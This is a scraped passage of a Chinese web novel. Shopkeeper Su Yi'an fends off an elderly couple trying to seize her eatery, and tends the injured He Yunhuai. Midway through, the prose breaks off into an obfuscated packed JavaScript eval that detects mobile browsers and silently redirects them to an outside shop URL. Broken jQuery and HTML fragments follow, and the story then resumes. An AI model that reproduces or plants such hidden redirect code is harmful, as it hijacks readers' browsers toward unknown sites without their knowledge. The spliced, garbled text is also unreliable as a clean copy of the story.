围观的路人不敢上前帮忙,生怕沾惹上麻烦。
那老两口见状,提着包袱就要走人,一点不再纠缠。
“哎,您可不能走。”隔壁铺子掌柜咽下嘴中点心,起身拦住了他们去路,笑呵呵说道:“人家掌柜被你们推倒晕了过去,请郎中的银钱你们得付了吧。”
那老太太狠狠瞪了他一眼,今个这事若不是这人多了嘴,怎么可能发展成现在这样。
“凭啥不让我们走,又不是我推的。”老爷子背上包袱稳当迈下台阶,那样子哪还有刚刚颤巍起身的模样。
“咋不是你推的,我们可都瞧见了。”有好心的路人帮着说道。
一时间那二人走也不是不走也不是。
正纠结的功夫,贺凝文带着郎中赶了过来。
刚刚贺允淮倒下磕到了头,苏意安怕挪动伤身,便想着等郎中来了再说。
若无事再抬进去。
“郎中您快瞧瞧,我二哥脑子本身就不好。”贺凝文说话没说完整,她想说他二哥身子不好,早前头也磕碰过。
“别急。”那郎中蹲下身子,用手摸了摸贺允淮的脉象。
他眉头紧皱,让人瞧了就害怕。
郎中摸完脉收回手,对着后面汉子说道:“把人抬回床上吧。”
贺凝文一听这话,以为她二哥快不行了,泪一下子涌了出来,带着哭腔喊道:“二哥。”
“别哭。”郎中见这孩子哭了起来,他斟酌道:“他身子虚,今日又碰了头,怕是几日不能下炕,得好好将养。若太操劳日后免不了留下病根。”
这话说的不重,凡是病弱之人不都体弱身虚嘛,可话传到了那老两口耳中,就变成了这人怕是不行了,以后只能瘫在炕上。
若真是这样,他们不跑还等什么。
那二人对视一眼,再次生出背着包袱趁大家不注意赶紧溜走的念头,可哪里会有这么容易的事。
隔壁铺子掌柜和庄山就像门神一样,堵住了他们去路。
“你们。”那老爷子气急,破口大骂,“你们算是个啥,堵着不让我们走是不是故意的,就欺负我们这腿脚不利索的是不。”
见他又要倚老卖老,苏意安便道:“是你们故意堵住我们铺子,一整日不让我们开张,也是你们说我们强占你儿的铺子,如今打了人还想一走了之,天底下没有这样子的道理。”
“就是,凭啥子你来闹事就闹事,若以后人人都效仿,这可咋办。”隔壁掌柜对着围观之人说道。
苏意安继续恐吓地说:“既然如此,不如报官吧,看看这故意诬陷故意伤人会不会下牢狱挨板子。”
这话一出,那二人才是真的怕了,他们就是想趁着自家兄弟不在把这铺院强占了,到时候自家小弟回来总不能再要回去。
可如今一切与他们所想已经不同,甚至于他们说的话都前言不搭后语。
“掌柜的,算了吧,若是报官,你瞧他们这身板怕是出来就断胳膊断腿哪还能过日子。”云娘装作帮腔道,“想着他们也知道错了,不如放了他们。”
那二人见有人帮着自己说话,赶忙应道:“对对,我们都这把年岁了,今日全是糊涂才来了这。”
“糊涂?他可是出手伤了人。”苏意安目光往铺子里面瞧去,也不知贺允淮醒了没有。
“我们赔钱,赔钱。”那老爷子一把夺过身旁人怀中的布袋,从里面摸出一两银子,说道:“这样总行了吧。”
一两银子,瞧着不少,可今日这诊费和汤药钱可不止一两。
苏意安也不是贪财的主,她让见证的路人都凑过来,一字一顿道:“今个大家也瞧见了,我们安贺食肆没强占铺院,这两位老人许是事情没有弄清楚就来了,如今也算还了我们清白。”
苏意安说完看向他们,今日一闹他们怕是再也不会来这铺院,可苏意安要的远远不止这些。
她又道:“今日药钱你们付了,咱们就算两清,若日后再来哭闹只能去衙门让官老爷评判,这铺院永金掌柜到底有没有送给您儿。”
话刚说完,郎中也从里面走了出来,他开了几副汤药,直说让人喝着养身子。
镇上什么都贵,诊费和汤药钱一共就用了二两银子。
那二人不情愿的又掏出一两银子,递给了郎中。
就此,事情了结,苏意安可没工夫理会那两个老的。
她谢过今日帮忙说话的人,“多谢各位,今日家中还有事,明日宴请大家,可都记得过来。”
“那感情好,明日我定早早过来。”隔壁掌柜笑道。
那老两口忙活了半天最后还倒贴二两银子,心中恨恨可又无处宣泄。
等走远了这才互骂起来。
“若不是你出的这个馊主意,咱们能丢了银钱?”那老爷子咒骂一句。
“呵,如今到说都是我的不是,你怎么不说是你那个好弟弟,若不是他不将铺子给咱们儿,能出这种事?”老太太也不是个省油了。
二人互相推卸一番,最后认定全都是他小弟永金的错,都怪他,若不是他不肯交出手中铺子,怎么会发生今日的事。
人一散,苏意安便将铺门关了起来,虽才晌午,但她今日已经没有开张的兴致。
她急匆匆跑去后院,还没进屋,就听见里面传来小妹嚎啕大哭的声响。
她定在门边,竟生出了退意。
“意安,我们先回来了,明日再过来。”云娘拍了拍她的手,安慰道:“人会没事的。”
苏意安嗯了一声好,亲自将她们送出院子,临别前再三交代,明日可一定要过来吃饭。
“回吧。”云娘冲她摆摆手。
苏意安看着紧闭的院门,思绪一点点回拢,总是要面对的就算贺允淮再次残了又能如何。
当时人没醒时她不也是照样过日子赚钱嘛。
她安慰好自己这才往屋子走去。
屋里,贺凝文坐在床边,用帕子擦着自己哭红的眼。
“二哥,你吓坏我了。”她瘪瘪嘴,眼眶又红了。
贺允淮伸手揪了下她的小辫子,哄道:“我这不是好好的躺在这,怕什么。”
苏意安一进来恰好瞧见这一幕。
人没事,人醒着。
她还未来得及开口,贺凝文像是找到靠山一样跑了过来,直接扑在她的怀里。
“苏姐姐,你看二哥,他故意吓唬咱们。”贺凝文心中仍是后怕,即使她二哥再三保证当时真的没事,可她就是害怕就是不信。
苏意安拍拍小妹胳膊,说道:“好,我给你做主,你先去给二哥煎药好不好。”
小妹点点头,白了自家二哥一眼这才跑了出去。
一时间屋中只剩下他们二人。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519450|136065||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
贺允淮那会捏了捏她的手指,还以为苏意安知道自己没事,可眼下这状况...怎么看怎么都不像知道的。
“骗人好玩吗?”苏意安一步步走过去,居高临下的看着他。
贺允淮心跳如鼓,想要牵住苏意安的手,却被她躲开了。
“别人伸手推你,你为什么不躲,还真的摔在地上,你这脑袋禁得住摔不成。”苏意安是真的担心,可一张嘴却说不出安慰人的话。
她生气,气他糟践自己的身子。
面对苏意安的质问,贺允淮想要解释,可又不知从哪里开始解释。
那二人是那般的蛮横无理,讲道理是行不通的,去衙门,这种小事衙门都不一定会管。
再说也不是那人故意推他,是他...
“我的错。”贺允淮直勾勾的看着她,“下次我一定提前告诉你。”
苏意安伸手在他脑门上敲了一下,警告道:“你还想有下次?”
“没有下次了。”贺允淮老老实实的同她说。
那老头自知理亏,上前伸手也不是为了推人,而是想伸手碰到的一瞬自己摔过去,让苏意安背锅。
“你怎么知道。”苏意安是真没看出还有这么一层。
贺允淮敛起笑意,说道:“他们来就是为了让咱们腾出铺子,当时话说的那么清楚可他们还是不愿走,定是有别的念头,他们才不会打人,打了人不就他们理亏了。”
以其人之道还治其人之身,罢了。
贺凝文端着煎好的药进来,见他们正心平气和的说话,便凑了上来吹风点火道:“苏姐姐,你揍没揍二哥。”
“揍了。”苏意安面不改色说道,“快把药喝了,二两银子呢。”
虽这一跤是贺允淮故意摔的,但因此请了郎中也真给他看出点什么。
他这身子面上瞧着好了,可底子还是虚的。
“这几日你好好养着,以后有你干不完的活。”苏意安见他喝完药,放下狠话这才出了屋。
贺凝文已经不哭了,见苏姐姐训了自家二哥,更是高兴的找不到北。
“刚还哭,现在怎么这么高兴。”如今什么也不能做的他,只能半躺在床上。
“苏姐姐那会特别着急,我们还以为你要没了,二哥你以后可不能再这样。”贺凝文说完不忘补充一句,“这次我给你瞒着,下次你再这样我就告诉娘,让娘也打你。”
贺允淮微微叹气说了个好。
-
晌午后苏意安去了铁匠铺子,将那圆形铁板背回了家。
有了这东西,她那煎肠做起来就方便多了。
她将铁板放在小火炉上,又挖了一勺猪油铺在铁板上面。
油热将煮好晾干的香肠在上面摆成一排,一个个煎的冒油这才取下。
这次弄得多,她拿出食盒,装了两盘进去,一盘里面放了六根,属实不少。
虽说明日宴请今日帮过忙的人家,可到底她觉得欠了人情,这不弄好后就提着食盒去了隔壁铺子。
“你说你客气什么。”那掌柜见她送来一盘煎肠,连连摆手。
“您收下吧,一会儿我还要送别家,今日多亏了您。”苏意安知道若不是这掌柜一开始帮着说了那几句话,事情还不一定能如此顺利解决。
见她话说到了这个份上,那掌柜的这才收下。